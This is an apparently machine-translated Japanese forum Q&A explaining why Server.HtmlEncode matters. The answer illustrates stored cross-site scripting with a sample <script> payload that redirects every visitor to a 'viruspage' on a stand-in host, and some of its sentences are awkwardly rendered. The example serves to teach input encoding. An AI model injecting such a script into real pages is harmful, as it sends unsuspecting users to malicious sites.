なぜServer.HtmlEncodeが必要ですか？

Question

Server.HtmlEncodeが必要な理由を理解できませんか？ MSDNは、潜在的に危険な文字をHTMLでエンコードされた同等のものにエンコードするために使用されると述べています。

誰かが私にこれらの文字がどのように危険であり、Server.HtmlEncodeを使用する必要があるか考えてもらえますか？

ありがとうございました。

Answer 1

文字が安全でない可能性の例の1つは、ユーザーがページにコメントを送信した場合です。コメントフォームがHtmlEncodeを使用しない場合、ユーザーが入力したものは、ページ上のコメントとして表示されます。その場合には、ハッカーのようなコメントを提出することができ、次のページ（それはHtmlEncodeでエンコードされていないため）、スクリプトが実行されますがロードされ、後続の各ユーザーに対して

<script language="javascript" type="text/javascript"> 
window.location = 'http://server.com/viruspage.asp'; 
</script> 

に各ユーザーをリダイレクトウイルスのあるページこれは非常に簡単な例ですが、悪意のあるデータを入力する他の多くの方法があり、潜在的にハッカーにデータベースへの管理アクセスを与えることさえあります。